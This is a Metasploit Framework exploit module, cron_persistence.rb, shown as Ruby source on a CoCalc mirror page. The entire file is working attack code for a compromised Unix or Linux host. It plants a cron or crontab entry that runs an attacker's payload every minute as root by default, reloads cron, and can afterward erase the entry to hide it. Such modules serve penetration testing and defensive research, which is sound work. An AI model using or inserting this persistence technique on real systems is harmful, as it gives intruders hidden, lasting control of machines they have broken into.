CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/cron_persistence.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Unix
11
include Msf::Exploit::FileDropper
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Cron Persistence',
18
'Description' => %q(
19
This module will create a cron or crontab entry to execute a payload.
20
The module includes the ability to automatically clean up those entries to prevent multiple executions.
21
syslog will get a copy of the cron entry.
22
),
23
'License' => MSF_LICENSE,
24
'Author' =>
25
[
26
'h00die <[email protected]>'
27
],
28
'Platform' => ['unix', 'linux'],
29
'Targets' =>
30
[
31
[ 'Cron', { :path => '/etc/cron.d' } ],
32
[ 'User Crontab', { :path => '/var/spool/cron' } ],
33
[ 'System Crontab', { :path => '/etc' } ]
34
],
35
'DefaultTarget' => 1,
36
'Arch' => ARCH_CMD,
37
'Payload' =>
38
{
39
'BadChars' => "#%\x10\x13", # is for comments, % is for newline
40
'Compat' =>
41
{
42
'PayloadType' => 'cmd',
43
'RequiredCmd' => 'generic perl ruby python'
44
}
45
},
46
'DefaultOptions' => { 'WfsDelay' => 90 },
47
'DisclosureDate' => '1979-07-01' # Version 7 Unix release date (first cron implementation)
48
)
49
)
50
51
register_options(
52
[
53
OptString.new('USERNAME', [false, 'User to run cron/crontab as', 'root']),
54
OptString.new('TIMING', [false, 'cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']),
55
OptBool.new('CLEANUP', [true, 'delete cron entry after execution', true])
56
], self.class
57
)
58
end
59
60
def exploit
61
# https://gist.github.com/istvanp/310203 for cron regex validator
62
cron_regex = '(\*|[0-5]?[0-9]|\*\/[0-9]+)\s+'
63
cron_regex << '(\*|1?[0-9]|2[0-3]|\*\/[0-9]+)\s+'
64
cron_regex << '(\*|[1-2]?[0-9]|3[0-1]|\*\/[0-9]+)\s+'
65
cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+'
66
cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s*
67
# cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?'
68
unless datastore['TIMING'] =~ /#{cron_regex}/
69
fail_with(Failure::BadConfig, 'Invalid timing format')
70
end
71
cron_entry = datastore['TIMING']
72
if target.name.include? 'User Crontab'
73
unless user_cron_permission?(datastore['USERNAME'])
74
fail_with(Failure::NoAccess, 'User denied cron via cron.deny')
75
end
76
else
77
cron_entry += " #{datastore['USERNAME']}"
78
end
79
flag = Rex::Text.rand_text_alpha(10)
80
cron_entry += " #{payload.encoded} ##{flag}" # we add a flag to the end of the entry to potentially delete it later
81
case target.name
82
when 'Cron'
83
our_entry = Rex::Text.rand_text_alpha(10)
84
write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n")
85
vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}")
86
if datastore['CLEANUP']
87
register_file_for_cleanup("#{target.opts[:path]}/#{our_entry}")
88
end
89
when 'System Crontab'
90
file_to_clean = "#{target.opts[:path]}/crontab"
91
append_file(file_to_clean, "\n#{cron_entry}\n")
92
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
93
when 'User Crontab'
94
file_to_clean = "#{target.opts[:path]}/crontabs/#{datastore['USERNAME']}"
95
append_file(file_to_clean, "\n#{cron_entry}\n")
96
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
97
# at least on ubuntu, we need to reload cron to get this to work
98
vprint_status('Reloading cron to pickup new entry')
99
cmd_exec("service cron reload")
100
end
101
print_status("Waiting #{datastore['WfsDelay']}sec for execution")
102
Rex.sleep(datastore['WfsDelay'].to_i)
103
# we may need to do some cleanup, no need for cron since that uses file dropper
104
# we could run this on a on_successful_session, but we want cleanup even if it fails
105
if file_to_clean && flag && datastore['CLEANUP']
106
print_status("Removing our cron entry from #{file_to_clean}")
107
cmd_exec("sed '/#{flag}$/d' #{file_to_clean} > #{file_to_clean}.new")
108
cmd_exec("mv #{file_to_clean}.new #{file_to_clean}")
109
# replaced cmd_exec("perl -pi -e 's/.*#{flag}$//g' #{file_to_clean}") in favor of sed
110
if target.name == 'User Crontab' # make sure we clean out of memory
111
cmd_exec("service cron reload")
112
end
113
end
114
end
115
116
def user_cron_permission?(user)
117
# double check we're allowed to do cron
118
# may also be /etc/cron.d/
119
paths = ['/etc/', '/etc/cron.d/']
120
paths.each do |path|
121
cron_auth = read_file("#{path}cron.allow")
122
if cron_auth
123
if cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/
124
vprint_good("User located in #{path}cron.allow")
125
return true
126
end
127
end
128
cron_auths = read_file("#{path}cron.deny")
129
if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/
130
vprint_error("User located in #{path}cron.deny")
131
return false
132
end
133
end
134
# no guidance, so we should be fine
135
true
136
end
137
end
138
139